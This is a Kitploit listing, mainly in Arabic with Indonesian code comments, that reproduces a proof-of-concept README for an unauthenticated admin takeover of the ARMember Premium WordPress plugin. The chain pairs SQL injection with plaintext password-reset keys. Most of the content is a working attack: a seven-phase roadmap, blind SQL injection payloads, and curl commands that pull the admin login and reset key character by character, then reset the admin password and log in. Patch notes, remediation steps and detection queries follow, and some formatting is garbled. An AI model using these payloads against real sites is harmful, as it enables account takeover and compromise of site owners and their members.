Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/zycoder0day/cve-2026-5076
هجمات كلمات المرورتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالمصادقة
GitHubzycoder0day/cve-2026-5076

CVE-2026-5076

استغلال لإثبات المفهوم لثغرة CVE-2026-5076 يوضح الاستيلاء غير المُصادَق عليه على حساب المسؤول في ARMember Premium عبر حقن SQL وتخزين مفتاح إعادة تعيين كلمة المرور كنصٍّ صريح.

عرض المستودع
منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

☠️ CVE-2026-5076

ARMember Premium <= 7.3.1

آلية إعادة تعيين كلمة المرور غير آمنة → استيلاء كامل على حساب المسؤول

مفاتيح إعادة تعيين كلمة المرور المخزنة كنص صريح في قاعدة البيانات + حقن SQL = استيلاء كامل على حساب المسؤول


📋 معلومات الثغرة

العنصرالتفاصيل
CVE IDCVE-2026-5076
الملحقARMember – Membership Plugin & Content Restriction
النسخة المتأثرةPremium <= 7.3.1
النسخة المصححة7.3.2
درجة CVSS9.8 حرجة
CWECWE-640: Weak Password Recovery
النوعآلية إعادة تعيين كلمة المرور غير آمنة → تخزين المفتاح كنص صريح
ناقل الهجومشبكة / عن بُعد / بدون مصادقة (عبر سلسلة SQLi)
التثبيتات النشطة30,000+ (Premium)
المكتشفWordfence Threat Intelligence
تاريخ النشر3 يونيو 2026

ثغرات ذات صلة (نفس النشرة)

CVEالنوعالخطورة
CVE-2026-5076إعادة تعيين كلمة مرور غير آمنة — تخزين المفتاح كنص صريح

🎯 الملخص

ثلاث ثغرات حرجة في ملحق ووردبريس ARMember Premium <= 7.3.1 والتي عند ربطها معًا تتيح الاستيلاء الكامل على حساب المسؤول بدون مصادقة:

  1. CVE-2026-5076 — يتم تخزين مفتاح إعادة تعيين كلمة المرور في نص صريح في wp_usermeta (arm_reset_password_key)، وليس مجزأً كما في معيار ووردبريس
  2. CVE-2026-5073 — حقن SQL في معامل order في معالج AJAX arm_directory_paging_action()
  3. CVE-2026-5074 — حقن SQL في معامل filter في معالج AJAX arm_directory_paging_action()

النتيجة المباشرة لـ CVE-2026-5076: أي شخص لديه وصول للقراءة إلى قاعدة البيانات (عبر SQLi، تعرض النسخ الاحتياطية، وما إلى ذلك) يمكنه قراءة مفتاح إعادة تعيين كلمة المرور في شكل نص صريح واستخدامه مباشرة لإعادة تعيين كلمة مرور أي حساب — دون الحاجة إلى كسر التشفير.


🔬 التحليل الفني

السبب الجذري #1: تخزين المفتاح كنص صريح (CVE-2026-5076)

يخزن ووردبريس القياسي مفتاح إعادة تعيين كلمة المرور في العمود user_activation_key في شكل مجزأ باستخدام wp_hash(). بينما يخزن ARMember نسخة من المفتاح نفسه في wp_usermeta مع meta_key باسم arm_reset_password_key — لكن في شكل نص صريح (PLAINTEXT):```php // FILE: armember-membership/core/class.arm_member_forms.php // Fungsi: arm_lost_password_action()

// WordPress menyimpan HASHED key (aman) $key = wp_generate_password(20, false); $wp_key = $wpdb->get_var( $wpdb->prepare("SELECT user_activation_key FROM $wpdb->users WHERE user_login=%s", $user_login) );

// ARMember menyimpan PLAINTEXT key (VULNERABLE!) update_user_meta($user_id, 'arm_reset_password_key', $wp_key); // ^^^^^^ // Ini adalah key ASLI yang bisa langsung dipakai

root@kitploit:~
**مشكلة حرجة**: `$wp_key` هنا هو المفتاح الذي يولّده `wp_generate_password(20, false)` — 20 حرفًا أبجديًا رقميًا. WordPress يجزّئ هذا المفتاح قبل تخزينه في `user_activation_key`، لكن ARMember يخزّنه **قبل التجزئة** أو يخزّن نسخة منفصلة **غير مجزّأة**.

### السبب الجذري #2: خلل استمرار المفتاح

عندما يتم استدعاء `get_password_reset_key()` (نواة WordPress)، يتم توليد مفتاح جديد وتجزئته. لكن هذه الدالة **لا تقوم بتحديث** `arm_reset_password_key`:```php
// WordPress core: get_password_reset_key($user)
// - Generate key baru
// - Hash key → simpan di user_activation_key
// - Return key plaintext
// - TAPI: arm_reset_password_key TIDAK diupdate!

ونتيجة لذلك، يظل مفتاح النص العادي القديم مخزّنًا إلى الأبد في arm_reset_password_key حتى بعد قيام المستخدم بإعادة تعيين كلمة المرور. يمكن استخدام هذا المفتاح مرارًا وتكرارًا حتى يتم حذف المفتاح التعريفي (meta key) صراحةً.

السبب الجذري #3: SQL Injection (CVE-2026-5073/5074)

معالج AJAX arm_directory_paging_action() يحتوي على فحص nonce عبر arm_check_user_cap()، لكن المعاملين order وfilter يدخلان مباشرةً إلى استعلام SQL دون تعقيم (sanitization):```php // FILE: armember-membership/core/class.arm_member_forms.php // Fungsi: arm_directory_paging_action()

// Nonce check (dibutuhkan nonce valid) $nonce_check = $this->arm_check_user_cap();

// ORDER BY injection — langsung ke SQL tanpa sanitasi! $orderby = "u.{$arm_member} {$order_dir}"; // $order_dir dari $_POST['order'] → LANGSUNG ke ORDER BY

// WHERE injection via filter if (!empty($filter)) { $where .= " AND " . $filter; // ← LANGSUNG concatenation! }

root@kitploit:~
**استغلال ORDER BY**: يتم إدخال المعامل `order` في جملة `ORDER BY` في SQL. نظرًا لعدم وجود تنظيف للمدخلات، يمكن للمهاجم حقن استعلام فرعي:```sql
-- Payload SQLi via parameter order
ORDER BY u.ID ASC, IF(COND, 1, EXP(710))

-- COND = TRUE  → IF returns 1 → ORDER BY 1 → response normal (besar)
-- COND = FALSE → IF returns EXP(710) → MySQL overflow ERROR → response 90B

Oracle هذا محصّن ضد تأخير الشبكة لأنه يميز TRUE/FALSE بناءً على الخطأ مقابل النجاح، وليس وقت الاستجابة.


⛓️ خارطة طريق سلسلة الهجوم```

╔══════════════════════════════════════════════════════════════════════════════════╗ ║ CVE-2026-5076 FULL CHAIN ATTACK ROADMAP ║ ║ ARMember Premium <= 7.3.1 → Unauthenticated Admin Takeover ║ ╚══════════════════════════════════════════════════════════════════════════════════╝

┌─────────────────────────────────────────────────────────────────────────────────┐ │ PHASE 1: RECONNAISSANCE │ │ "Identifikasi target, versi, dan attack surface" │ ├─────────────────────────────────────────────────────────────────────────────────┤ │ │ │ 1a. Deteksi ARMember │ │ ├─ GET / → cari string: "arm_", "armember", "ARMember" │ │ ├─ GET /wp-json/ → cari armember di response │ │ ├─ Cookie: arm_* indicates ARMember active │ │ └─ Version fingerprint: arm_css_version, arm_js_version │ │ │ │ 1b. Temukan Directory Page (MUST have arm_directory_form_container) │ │ ├─ Method 1: WP Search → GET /?s=members → parse links │ │ │ └─ Filter: skip /feed/, /rss2/, .xml, /atom/ │ │ ├─ Method 2: Direct Path Probe → /directory/, /members/, /community/ │ │ ├─ Method 3: Sitemap → /sitemap.xml → parse URLs │ │ └─ Method 4: REST API → /wp-json/wp/v2/pages → search ARM shortcode │ │ │ │ 1c. Ekstrak nonce + template_id (BERPASANGAN di form yang sama) │ │ ├─

│ │ │ ├─ │ │ │ └─ │ │ └─ Nonce = wp_create_nonce('arm_wp_nonce') — tied to session │ │ └─ Bukan per-template_id, tapi per-user session │ │ │ │ OUTPUT: nonce, template_id, version, directory_url │ └──────────────┬──────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────────────────┐ │ PHASE 2: SQL INJECTION │ │ "Konfirmasi SQLi via error-based boolean oracle" │ ├─────────────────────────────────────────────────────────────────────────────────┤ │ │ │ 2a. Kirim AJAX request dengan nonce + template_id │ │ POST /wp-admin/admin-ajax.php │ │ action=arm_directory_paging_action │ │ arm_wp_nonce= │ │ template_id= │ │ type=directory │ │ order=ASC │ │ │ │ 2b. Error-Based Boolean Oracle (IMMUNE LATENCY!) │ │ ├─ TRUE: order=ASC,IF(1=1,1,EXP(710)) → response ~10KB (normal) │ │ ├─ FALSE: order=ASC,IF(1=2,1,EXP(710)) → response ~90B (EXP overflow) │ │ └─ Delta: ~100x — tidak terpengaruh network jitter │ │ │ │ 2c. Kenapa EXP(710)? │ │ ├─ EXP(710) → MySQL double overflow → ERROR │ │ ├─ Error = response body ~90B (cepat, konsisten) │ │ └─ Lebih reliable daripada SLEEP-based oracle di site lambat │ │ │ │ 2d. Oracle Alternatif (untuk site tanpa error output) │ │ ├─ Time-based: IF(COND, SLEEP(3), u.ID) │ │ │ ├─ TRUE = slow (SLEEP), FALSE = fast (ORDER BY ID) │ │ │ └─ Rentan terhadap network latency, baseline shifting │ │ └─ 3-State: IF(COND, SLEEP(N), u.ID) vs baseline │ │ ├─ TRUE = slow + big response │ │ ├─ FALSE = fast + big response (ORDER BY valid ID) │ │ └─ ERROR = fast + small response (ORDER BY 0) │ │ │ │ OUTPUT: sqli_confirmed, sz_true, sz_false, oracle_type │ └──────────────┬──────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────────────────┐ │ PHASE 3: DATABASE ENUMERATION │ │ "Ekstrak table prefix, admin user, dan metadata" │ ├─────────────────────────────────────────────────────────────────────────────────┤ │ │ │ 3a. Deteksi Table Prefix (CRITICAL — prefix non-standard umum!) │ │ ├─ Method 1: INFORMATION_SCHEMA (paling reliable) │ │ │ ├─ (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES │ │ │ │ WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME LIKE '%users' │ │ │ │ LIMIT 1) IS NOT NULL │ │ │ └─ Ekstrak prefix: SUBSTRING(TABLE_NAME,1,LENGTH-5) │ │ ├─ Method 2: Brute-force prefix │ │ │ └─ wp_, wordpress_, wp_2_, site_, db_, blog_, web_ │ │ └─ Method 3: Per-row oracle via alias u/um │ │ └─ Main query sudah JOIN wp_users u, wp_usermeta um │ │ └─ Tapi TABLE NAME di subquery = prefix + "users" │ │ │ │ 3b. Ekstrak Admin User (4-Method Fallback) │ │ ├─ Method 1: wp_capabilities LIKE '%administrator%' │ │ │ └─ SELECT user_login FROM PREFIX_users WHERE ID= │ │ │ (SELECT user_id FROM PREFIX_usermeta │ │ │ WHERE meta_key='PREFIX_capabilities' │ │ │ AND meta_value LIKE '%administrator%' LIMIT 1) │ │ ├─ Method 2: wp_user_level = '10' │ │ │ └─ Meta key PREFIX_user_level dengan value '10' │ │ ├─ Method 3: Per-row um alias for capabilities │ │ │ └─ um.meta_key='PREFIX_capabilities' AND um.meta_value LIKE '%admin%' │ │ └─ Method 4: First user fallback (ORDER BY ID LIMIT 1) │ │ └─ Pada site kecil, user pertama = admin │ │ │ │ 3c. Ekstrak Admin Email │ │ └─ SELECT user_email FROM PREFIX_users WHERE user_login='ADMIN' │ │ │ │ 3d. Cek arm_reset_password_key Feature │ │ ├─ (SELECT COUNT(*) FROM PREFIX_usermeta │ │ │ WHERE meta_key='arm_reset_password_key') > 0 │ │ ├─ Jika FALSE → fitur tidak ada (v4.x) atau belum ada reset │ │ └─ Jika TRUE tapi 0 values → fitur ada, perlu trigger (Phase 4) │ │ │ │ OUTPUT: prefix, admin_login, admin_email, arm_key_feature_exists │ └──────────────┬──────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────────────────┐ │ PHASE 4: PASSWORD RESET TRIGGER │ │ "Paksa target menyimpan plaintext key di database" │ ├─────────────────────────────────────────────────────────────────────────────────┤ │ │ │ 4a. ARMember Forgot-Password (SET arm_reset_password_key = PLAINTEXT) │ │ ├─ POST /wp-admin/admin-ajax.php │ │ │ action=arm_lost_password │ │ │ arm_wp_nonce= │ │ │ user_login=<ADMIN_LOGIN> │ │ ├─ Hasil: arm_reset_password_key = plaintext 20-char key │ │ └─ Masalah: banyak site return "0" (action tidak terdaftar) │ │ │ │ 4b. WordPress Standard Lostpassword (SET user_activation_key = HASHED) │ │ ├─ POST /wp-login.php?action=lostpassword │ │ │ user_login=<ADMIN_LOGIN> │ │ │ wp-submit=Get New Password │ │ ├─ Hasil: user_activation_key = hashed key (TIDAK bisa dipakai langsung) │ │ └─ Email terkirim ke admin (jika mail server aktif) │ │ │ │ 4c. WP Lostpassword via Email │ │ └─ Jika user_login gagal, coba dengan admin_email │ │ │ │ 4d. Verifikasi Key Tersimpan (via SQLi) │ │ ├─ Cek arm_reset_password_key (PLAINTEXT — CVE-2026-5076) │ │ │ └─ (SELECT meta_value FROM PREFIX_usermeta │ │ │ WHERE meta_key='arm_reset_password_key' │ │ │ AND user_id=ADMIN_ID LIMIT 1) │ │ └─ Cek user_activation_key (HASHED — fallback) │ │ └─ LENGTH((SELECT user_activation_key FROM PREFIX_users │ │ WHERE user_login='ADMIN')) > 0 │ │ │ │ ⚠️ PENTING: WP lostpassword TIDAK menghasilkan arm_reset_password_key! │ │ Hanya form forgot-password ARMember yang menyimpan plaintext key. │ │ Versi < 5.x TIDAK memiliki fitur arm_reset_password_key sama sekali. │ │ │ │ OUTPUT: arm_reset_password_key (plaintext) atau user_activation_key (hashed) │ └──────────────┬──────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────────────────┐ │ PHASE 5: KEY EXTRACTION │ │ "Baca plaintext password reset key dari database via SQLi" │ ├─────────────────────────────────────────────────────────────────────────────────┤ │ │ │ 5a. Ekstrak arm_reset_password_key (CVE-2026-5076 — PLAINTEXT!) │ │ ├─ Binary search per-karakter via SQLi: │ │ │ ┌──────────────────────────────────────────────────────┐ │ │ │ │ Char 1: SUBSTRING(meta_value,1,1) > 'M' ? │ │ │ │ │ Char 1: SUBSTRING(meta_value,1,1) > 'T' ? │ │ │ │ │ ...binary search converges... │ │ │ │ │ Char 1 = 'X' ✓ │ │ │ │ │ Char 2: SUBSTRING(meta_value,2,1) > 'a' ? │ │ │ │ │ ...repeat for 20 characters... │ │ │ │ └──────────────────────────────────────────────────────┘ │ │ ├─ Key length: 20 karakter alfanumerik (wp_generate_password(20, false)) │ │ └─ Extraction time: ~7 queries × 20 chars = ~140 requests │ │ │ │ 5b. Fallback: Ekstrak user_activation_key (HASHED — tidak langsung pakai) │ │ └─ Format: hash keluaran wp_hash() — perlu cracking atau bypass │ │ │ │ 5c. Key Persistence (BUG KRITIS!) │ │ ├─ get_password_reset_key() TIDAK update arm_reset_password_key │ │ ├─ Key plaintext TETAP ADA meskipun user sudah reset password │ │ └─ Key bisa dipakai BERULANG KALI sampai meta key dihapus │ │ │ │ OUTPUT: arm_key (plaintext 20-char) atau hashed_key (fallback) │ └──────────────┬──────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────────────────┐ │ PHASE 6: PASSWORD RESET │ │ "Gunakan plaintext key untuk reset password admin" │ ├─────────────────────────────────────────────────────────────────────────────────┤ │ │ │ 6a. ARMember Reset Endpoint (armrp) │ │ ├─ GET /?armrp=true&key=<PLAINTEXT_KEY>&login=<ADMIN_LOGIN> │ │ ├─ ARMember memverifikasi key PLAINTEXT vs database PLAINTEXT │ │ │ └─ String comparison — BUKAN hash comparison! │ │ ├─ Jika match → tampilkan form reset password │ │ └─ Endpoint ini adalah GET request (bukan AJAX) — bisa diakses langsung │ │ │ │ 6b. WordPress Standard Reset (wp-login.php) │ │ ├─ GET /wp-login.php?action=rp&key=&login=<ADMIN_LOGIN> │ │ ├─ WordPress memverifikasi key HASHED — plaintext key TIDAK berfungsi │ │ └─ Hanya berguna jika key dari user_activation_key (hashed) │ │ │ │ 6c. Submit Password Baru │ │ ├─ POST ke form reset dengan password baru │ │ └─ Password baru ter-set → akun berhasil di-takeover │ │ │ │ OUTPUT: new_password, reset_confirmed │ └──────────────┬──────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────────────────┐ │ PHASE 7: VALIDATION │ │ "Verifikasi akses admin penuh" │ ├─────────────────────────────────────────────────────────────────────────────────┤ │ │ │ 7a. Login WordPress Standard │ │ ├─ POST /wp-login.php │ │ │ log=<ADMIN_LOGIN> │ │ │ pwd=<NEW_PASSWORD> │ │ └─ Redirect ke /wp-admin/ → dashboard accessible │ │ │ │ 7b. Login ARMember AJAX │ │ ├─ POST /wp-admin/admin-ajax.php │ │ │ action=arm_ajax_login │ │ │ arm_wp_nonce= │ │ │ username=<ADMIN_LOGIN> │ │ │ password=<NEW_PASSWORD> │ │ └─ Response berisi user data + redirect URL │ │ │ │ 7c. Verifikasi Dashboard Access │ │ └─ GET /wp-admin/ → 200 OK + admin menu visible │ │ │ │ ╔═══════════════════════════════════════════════════════════╗ │ │ ║ ✓ FULL CHAIN EXPLOITED ║ │ │ ║ Target: target.com ║ │ │ ║ User: admin ║ │ │ ║ Password: <new_password> ║ │ │ ║ Access: Full Administrator ║ │ │ ╚═══════════════════════════════════════════════════════════╝ │ │ │ │ OUTPUT: login_confirmed, dashboard_accessible │ └─────────────────────────────────────────────────────────────────────────────────┘

root@kitploit:~
---

## 💻 إثبات المفهوم

### المتطلبات الأساسية

- الهدف يشغّل **ARMember Premium <= 7.3.1**
- الهدف لديه **صفحة دليل** مكشوفة للعموم (للحصول على nonce + template_id)
- الإصدار **>= 5.x** لميزة `arm_reset_password_key` (الإصدار v4.x لا يمتلك هذه الميزة)

### إثبات مفهوم مصغّر — خطوة بخطوة```bash
# ═══════════════════════════════════════════════════════
# PHASE 1: RECONNAISSANCE
# ═══════════════════════════════════════════════════════

# Step 1a: Deteksi ARMember version
curl -s https://target.com/ | grep -oP 'arm_css_version["\s:=]+\K[0-9.]+'

# Step 1b: Temukan directory page
curl -s "https://target.com/?s=members" | \
  grep -oP 'href="(https?://[^"]+(?:member|directory)[^"]*)"' | \
  head -5

# Step 1c: Ekstrak nonce + template_id dari directory page
curl -s https://target.com/directory/ | \
  grep -oP 'arm_wp_nonce.*?value="[^"]*"' | head -1
curl -s https://target.com/directory/ | \
  grep -oP 'template_id.*?value="[^"]*"' | head -1


# ═══════════════════════════════════════════════════════
# PHASE 2: SQL INJECTION CONFIRMATION
# ═══════════════════════════════════════════════════════

# Step 2a: Konfirmasi SQLi dengan error-based oracle
# TRUE condition → response besar (~10KB)
curl -s -o /dev/null -w "%{size_download}" \
  -d "action=arm_directory_paging_action&arm_wp_nonce=NONCE&template_id=TID&type=directory&order=ASC,IF(1=1,1,EXP(710))" \
  https://target.com/wp-admin/admin-ajax.php

# FALSE condition → response kecil (~90B, MySQL error)
curl -s -o /dev/null -w "%{size_download}" \
  -d "action=arm_directory_paging_action&arm_wp_nonce=NONCE&template_id=TID&type=directory&order=ASC,IF(1=2,1,EXP(710))" \
  https://target.com/wp-admin/admin-ajax.php

# Jika TRUE ≠ FALSE → SQLi CONFIRMED


# ═══════════════════════════════════════════════════════
# PHASE 3: DATABASE ENUMERATION
# ═══════════════════════════════════════════════════════

# Step 3a: Deteksi table prefix via INFORMATION_SCHEMA
# Test: apakah prefix wp_ ?
curl -s -o /dev/null -w "%{size_download}" \
  -d "action=arm_directory_paging_action&arm_wp_nonce=NONCE&template_id=TID&type=directory&order=ASC,IF((SELECT COUNT(*) FROM wp_users)>0,1,EXP(710))" \
  https://target.com/wp-admin/admin-ajax.php
# Jika response besar → prefix = wp_
# Jika response kecil → coba prefix lain

# Step 3b: Ekstrak admin user_login (binary search)
# Contoh: karakter pertama > 'a' ?
curl -s -o /dev/null -w "%{size_download}" \
  -d "action=...&order=ASC,IF(SUBSTRING((SELECT user_login FROM wp_users WHERE ID=1),1,1)>'a',1,EXP(710))" \
  https://target.com/wp-admin/admin-ajax.php
# Repeat binary search per karakter...

# Step 3c: Cek apakah arm_reset_password_key ada
curl -s -o /dev/null -w "%{size_download}" \
  -d "action=...&order=ASC,IF((SELECT COUNT(*) FROM wp_usermeta WHERE meta_key='arm_reset_password_key')>0,1,EXP(710))" \
  https://target.com/wp-admin/admin-ajax.php


# ═══════════════════════════════════════════════════════
# PHASE 4: TRIGGER PASSWORD RESET
# ═══════════════════════════════════════════════════════

# Step 4a: Trigger ARMember forgot-password (SET arm_reset_password_key)
curl -s -X POST \
  -d "action=arm_lost_password&arm_wp_nonce=NONCE&user_login=ADMIN_LOGIN" \
  https://target.com/wp-admin/admin-ajax.php

# Step 4b: Fallback — WordPress standard lostpassword
curl -s -X POST \
  -d "user_login=ADMIN_LOGIN&redirect_to=&wp-submit=Get+New+Password" \
  https://target.com/wp-login.php?action=lostpassword


# ═══════════════════════════════════════════════════════
# PHASE 5: EXTRACT PLAINTEXT KEY (CVE-2026-5076)
# ═══════════════════════════════════════════════════════

# Step 5a: Baca arm_reset_password_key dari database via SQLi
# Binary search karakter per karakter
# Karakter 1 > 'M' ?
curl -s -o /dev/null -w "%{size_download}" \
  -d "action=...&order=ASC,IF(SUBSTRING((SELECT meta_value FROM wp_usermeta WHERE meta_key='arm_reset_password_key' AND user_id=1),1,1)>'M',1,EXP(710))" \
  https://target.com/wp-admin/admin-ajax.php

# ... repeat untuk 20 karakter ...
# Hasil: PLAINTEXT KEY berhasil diekstrak


# ═══════════════════════════════════════════════════════
# PHASE 6: RESET PASSWORD
# ═══════════════════════════════════════════════════════

# Step 6a: Akses ARMember reset endpoint dengan plaintext key
curl -v "https://target.com/?armrp=true&key=<EXTRACTED_KEY>&login=admin"

# Jika key match → form reset password ditampilkan!
# Step 6b: Submit password baru
curl -s -X POST \
  -d "pass1=NewPassword123!&pass2=NewPassword123!&key=<EXTRACTED_KEY>&login=admin" \
  "https://target.com/?armrp=true"


# ═══════════════════════════════════════════════════════
# PHASE 7: VALIDATE LOGIN
# ═══════════════════════════════════════════════════════

# Step 7a: Login dengan password baru
curl -v -X POST \
  -d "log=admin&pwd=NewPassword123!&wp-submit=Log+In" \
  https://target.com/wp-login.php

# Step 7b: Verifikasi dashboard access
curl -s -L -c cookies.txt \
  -d "log=admin&pwd=NewPassword123!&wp-submit=Log+In" \
  https://target.com/wp-login.php && \
curl -s -b cookies.txt https://target.com/wp-admin/ | \
  grep "Dashboard"

🔧 تحليل التصحيح (v7.3.2)

تتناول الإصلاحات في الإصدار 7.3.2 الثغرات الثلاث:

تصحيح CVE-2026-5076 (المفتاح بنص واضح)```php

// VULNERABLE (<=7.3.1) update_user_meta($user_id, 'arm_reset_password_key', $wp_key); // plaintext key ^^^^^^^

// PATCHED (7.3.2) $hashed_key = wp_hash($wp_key); update_user_meta($user_id, 'arm_reset_password_key', $hashed_key); // hashed key ^^^^^^^^^^^

root@kitploit:~
- المفتاح الآن يُخزَّن بشكل **hashed** باستخدام `wp_hash()`
- التحقق من المفتاح يتم عبر `wp_check_password()` أو مقارنة hash
- المفاتيح القديمة التي لا تزال plaintext يجب حذفها يدويًا

### تصحيح CVE-2026-5073 (ORDER BY SQLi)```php
// VULNERABLE (<=7.3.1)
$orderby = "u.{$arm_member} {$order_dir}";
//                       ^^^^^^^^^^ langsung dari user input

// PATCHED (7.3.2)
$allowed_orders = array('ASC', 'DESC', 'asc', 'desc');
if (!in_array($order_dir, $allowed_orders, true)) {
    $order_dir = 'ASC';
}
$orderby = "u.{$arm_member} {$order_dir}";

تصحيح CVE-2026-5074 (WHERE SQLi)```php

// VULNERABLE (<=7.3.1) $where .= " AND " . $filter; // ^^^^^^^ langsung concatenation

// PATCHED (7.3.2) // Filter parameter removed from user input entirely // Filtering now handled server-side with prepared statements

root@kitploit:~
---

## 🛡️ المعالجة

### الخطوات الفورية

1. **حدّث ARMember Premium** إلى الإصدار **7.3.2** أو أحدث
2. **احذف جميع `arm_reset_password_key`** الموجودة في قاعدة البيانات:   ```sql
   DELETE FROM wp_usermeta WHERE meta_key = 'arm_reset_password_key';
  1. Reset semua password admin — plaintext key lama mungkin sudah dikompromikan
  2. Audit akun user — cek akun administrator yang tidak dikenal
  3. Batasi akses directory page — pastikan hanya user terautentikasi yang bisa mengakses

Deteksi Indikator Kompromi

Translations:

  1. إعادة تعيين جميع كلمات مرور المسؤول — ربما تم اختراق المفتاح النصي القديم
  2. تدقيق حسابات المستخدمين — التحقق من حسابات المسؤول غير المعروفة
  3. تقييد الوصول إلى صفحة الدليل — تأكد من أن المستخدمين المصادق عليهم فقط يمكنهم الوصول

اكتشاف مؤشرات الاختراق```sql

-- Cek apakah ada arm_reset_password_key (indikasi exploit) SELECT user_id, meta_value FROM wp_usermeta WHERE meta_key = 'arm_reset_password_key' AND meta_value != '';

-- Cek login mencurigakan SELECT * FROM wp_users WHERE user_activation_key != '' AND user_modified > DATE_SUB(NOW(), INTERVAL 7 DAY);

root@kitploit:~
### التخفيف بدون تحديث

- **احذف مفتاح الميتا** `arm_reset_password_key` بشكل دوري عبر cron
- **عطّل** نموذج نسيت كلمة المرور في ARMember (استخدم نموذج WP القياسي فقط)
- **قيّد** الوصول إلى صفحة الدليل (يتطلب تسجيل الدخول)
- **طبّق** WAF يحظر نمط SQLi على `arm_directory_paging_action`

---

## 🧩 سيناريوهات الهجوم

### السيناريو أ: السلسلة الكاملة الكلاسيكية (جميع CVEs مجتمعة)```
Attacker discovers directory page → extracts nonce+tid → 
SQLi to read arm_reset_password_key (plaintext) → 
uses armrp endpoint to reset admin password → 
logs in as admin

يتطلب: ARMember v5.x+ مع خاصية forgot-password يتم تفعيلها بواسطة مستخدم حقيقي

السيناريو B: SQLi + WP Lostpassword Hybrid```

Attacker discovers directory page → extracts nonce+tid → SQLi to extract admin_login + admin_email → triggers WP lostpassword → email sent → SQLi to read user_activation_key (hashed) → CRACK the hash offline → reset password via wp-login.php

root@kitploit:~
**يتطلب**: موقع مع خادم بريد يعمل، وقدرة كسر الهاش

### السيناريو C: كشف النسخة الاحتياطية لقاعدة البيانات```
Attacker finds exposed database backup (.sql, .zip, .tar.gz) →
grep for arm_reset_password_key → 
obtain plaintext keys → 
use armrp endpoint to reset passwords

المتطلبات: نسخة احتياطية مكشوفة، لا حاجة لـ SQLi

السيناريو د: اختراق حساب المدير + الحركة الجانبية```

Attacker gains admin via CVE-2022-1903 or other vector → reads arm_reset_password_key for ALL users → resets passwords for other admin accounts → persists access even if original vulnerability is patched

root@kitploit:~
**يتطلب**: وصول إداري أولي عبر أي ناقل

---

## ⚠️ إخلاء مسؤولية

هذه الأداة والوثائق مخصصة فقط لـ **اختبار الأمان القانوني** بإذن صريح. الاستخدام غير المصرح به للأنظمة التي لا تملكها أو بدون إذن كتابي هو **غير قانوني**. المؤلف غير مسؤول عن سوء الاستخدام.

---

## 📚 المراجع

- [نشرة Wordfence الأمنية — CVE-2026-5076](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/armember-membership/armember-premium-731-insecure-password-reset-mechanism)
- [نشرة Wordfence الأمنية — CVE-2026-5073](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/armember-membership/armember-premium-731-unauthenticated-sql-injection)
- [نشرة Wordfence الأمنية — CVE-2026-5074](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/armember-membership/armember-premium-731-unauthenticated-sql-injection-2)
- [مستودع إضافة ARMember](https://wordpress.org/plugins/armember-membership/)
- [آلية إعادة تعيين كلمة مرور ووردبريس](https://developer.wordpress.org/reference/functions/get_password_reset_key/)
- [CWE-640: آلية استعادة كلمة مرور ضعيفة](https://cwe.mitre.org/data/definitions/640.html)

---

<div align="center">

![](https://img.shields.io/badge/Made%20with-%E2%9D%A4-red?style=flat-square)
![](https://img.shields.io/badge/For-Educational%20Purpose-blue?style=flat-square)

حقوق النشر © 2026 **XENON1337**

شكر خاص: **ENDANG** 

</div>
تنزيل الأداة
9.8 حرجة
CVE-2026-5073حقن SQL بدون مصادقة (ORDER BY)9.8 حرجة
CVE-2026-5074حقن SQL بدون مصادقة (WHERE)9.8 حرجة